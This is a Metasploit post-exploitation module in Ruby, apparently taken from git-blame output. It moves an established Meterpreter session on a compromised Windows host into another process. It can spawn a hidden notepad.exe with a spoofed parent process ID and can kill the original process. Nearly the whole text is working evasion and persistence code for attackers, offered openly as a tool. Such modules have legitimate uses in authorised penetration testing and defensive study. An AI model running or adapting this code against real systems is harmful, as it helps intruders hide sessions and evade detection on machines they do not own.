2011-03-21 02:27:36 +00:00
|
|
|
##
|
2017-07-24 06:26:21 -07:00
|
|
|
# This module requires Metasploit: https://metasploit.com/download
|
2013-10-15 13:50:46 -05:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2011-03-21 02:27:36 +00:00
|
|
|
##
|
|
|
|
|
|
2016-03-08 14:02:44 +01:00
|
|
|
class MetasploitModule < Msf::Post
|
2019-12-17 16:39:18 +01:00
|
|
|
include Msf::Post::Common
|
|
|
|
|
include Msf::Post::Windows::Process
|
2011-03-21 02:27:36 +00:00
|
|
|
|
2013-09-05 13:41:25 -05:00
|
|
|
def initialize(info={})
|
|
|
|
|
super( update_info( info,
|
|
|
|
|
'Name' => 'Windows Manage Process Migration',
|
|
|
|
|
'Description' => %q{ This module will migrate a Meterpreter session from one process
|
|
|
|
|
to another. A given process PID to migrate to or the module can spawn one and
|
|
|
|
|
migrate to that newly spawned process.},
|
|
|
|
|
'License' => MSF_LICENSE,
|
2019-12-17 16:39:18 +01:00
|
|
|
'Author' => [
|
|
|
|
|
'Carlos Perez <carlos_perez[at]darkoperator.com>',
|
|
|
|
|
'phra <https://iwantmore.pizza>'
|
|
|
|
|
],
|
2013-09-05 13:41:25 -05:00
|
|
|
'Platform' => [ 'win' ],
|
|
|
|
|
'SessionTypes' => [ 'meterpreter' ]
|
|
|
|
|
))
|
2011-11-06 22:02:26 +00:00
|
|
|
|
2013-08-30 16:28:54 -05:00
|
|
|
register_options(
|
|
|
|
|
[
|
2019-12-17 16:39:18 +01:00
|
|
|
OptBool.new( 'SPAWN',[false,'Spawn process to migrate to. If set, notepad.exe is used.', true]),
|
|
|
|
|
OptInt.new( 'PID', [false, 'PID of process to migrate to.', 0]),
|
|
|
|
|
OptInt.new( 'PPID', [false, 'Process Identifier for PPID spoofing when creating a new process. (0 = no PPID spoofing).', 0]),
|
|
|
|
|
OptString.new( 'PPID_NAME', [false, 'Name of process for PPID spoofing when creating a new process.']),
|
2017-03-15 15:51:22 -05:00
|
|
|
OptString.new( 'NAME', [false, 'Name of process to migrate to.']),
|
2013-08-30 16:28:54 -05:00
|
|
|
OptBool.new( 'KILL', [false, 'Kill original process for the session.', false])
|
2017-05-03 15:42:21 -05:00
|
|
|
])
|
2013-08-30 16:28:54 -05:00
|
|
|
end
|
2011-03-21 02:27:36 +00:00
|
|
|
|
2013-08-30 16:28:54 -05:00
|
|
|
# Run Method for when run command is issued
|
|
|
|
|
def run
|
|
|
|
|
print_status("Running module against #{sysinfo['Computer']}")
|
2013-07-02 14:48:04 -05:00
|
|
|
|
2013-08-30 16:28:54 -05:00
|
|
|
server = session.sys.process.open
|
|
|
|
|
original_pid = server.pid
|
|
|
|
|
print_status("Current server process: #{server.name} (#{server.pid})")
|
2011-03-21 02:27:36 +00:00
|
|
|
|
2013-08-30 16:28:54 -05:00
|
|
|
target_pid = nil
|
2013-01-04 09:29:34 +01:00
|
|
|
|
2019-12-17 16:39:18 +01:00
|
|
|
if datastore['SPAWN'] and datastore['SPAWN'] != ""
|
2013-08-30 16:28:54 -05:00
|
|
|
target_pid = create_temp_proc
|
2019-12-17 16:39:18 +01:00
|
|
|
elsif datastore['PID'] and datastore['PID'] != 0
|
2013-08-30 16:28:54 -05:00
|
|
|
target_pid = datastore['PID']
|
2019-12-17 16:39:18 +01:00
|
|
|
elsif datastore['NAME'] and datastore['NAME'] != ""
|
2013-08-30 16:28:54 -05:00
|
|
|
target_pid = session.sys.process[datastore['NAME']]
|
|
|
|
|
end
|
2012-04-26 02:38:29 -05:00
|
|
|
|
2013-08-30 16:28:54 -05:00
|
|
|
if not target_pid or not has_pid?(target_pid)
|
2019-12-17 16:39:18 +01:00
|
|
|
print_error("Process #{target_pid} not found")
|
2013-08-30 16:28:54 -05:00
|
|
|
return
|
|
|
|
|
end
|
2011-03-21 02:27:36 +00:00
|
|
|
|
2013-08-30 16:28:54 -05:00
|
|
|
begin
|
2019-12-17 16:39:18 +01:00
|
|
|
print_status("Migrating to #{target_pid}")
|
2013-08-30 16:28:54 -05:00
|
|
|
session.core.migrate(target_pid)
|
|
|
|
|
print_good("Successfully migrated to process #{target_pid}")
|
|
|
|
|
rescue ::Exception => e
|
|
|
|
|
print_error("Could not migrate in to process.")
|
|
|
|
|
print_error("Exception: #{e.class} : #{e}")
|
|
|
|
|
end
|
2011-03-21 02:27:36 +00:00
|
|
|
|
2013-08-30 16:28:54 -05:00
|
|
|
if datastore['KILL']
|
|
|
|
|
print_status("Killing original process with PID #{original_pid}")
|
2019-12-17 16:39:18 +01:00
|
|
|
if has_pid?(original_pid)
|
|
|
|
|
session.sys.process.kill(original_pid)
|
|
|
|
|
print_good("Successfully killed process with PID #{original_pid}")
|
|
|
|
|
else
|
|
|
|
|
print_warning("PID #{original_pid} exited on its own")
|
|
|
|
|
end
|
2013-08-30 16:28:54 -05:00
|
|
|
end
|
|
|
|
|
end
|
2011-03-21 02:27:36 +00:00
|
|
|
|
2013-08-30 16:28:54 -05:00
|
|
|
# Creates a temp notepad.exe to migrate to depending the architecture.
|
|
|
|
|
def create_temp_proc()
|
2019-12-17 16:39:18 +01:00
|
|
|
target_ppid = session.sys.process[datastore['PPID_NAME']] || datastore['PPID']
|
|
|
|
|
cmd = get_notepad_pathname(client.arch, client.sys.config.getenv('windir'), client.arch)
|
|
|
|
|
|
|
|
|
|
print_status("Spawning notepad.exe process to migrate to")
|
|
|
|
|
|
|
|
|
|
if target_ppid != 0 and not has_pid?(target_ppid)
|
|
|
|
|
print_error("Process #{target_ppid} not found")
|
|
|
|
|
return
|
|
|
|
|
elsif has_pid?(target_ppid)
|
|
|
|
|
print_status("Spoofing PPID #{target_ppid}")
|
|
|
|
|
end
|
|
|
|
|
|
2013-08-30 16:28:54 -05:00
|
|
|
# run hidden
|
2019-12-17 16:39:18 +01:00
|
|
|
proc = session.sys.process.execute(cmd, nil, {
|
|
|
|
|
'Hidden' => true,
|
|
|
|
|
'ParentPid' => target_ppid
|
|
|
|
|
})
|
|
|
|
|
|
2013-08-30 16:28:54 -05:00
|
|
|
return proc.pid
|
|
|
|
|
end
|
2011-10-12 00:01:25 +00:00
|
|
|
end
|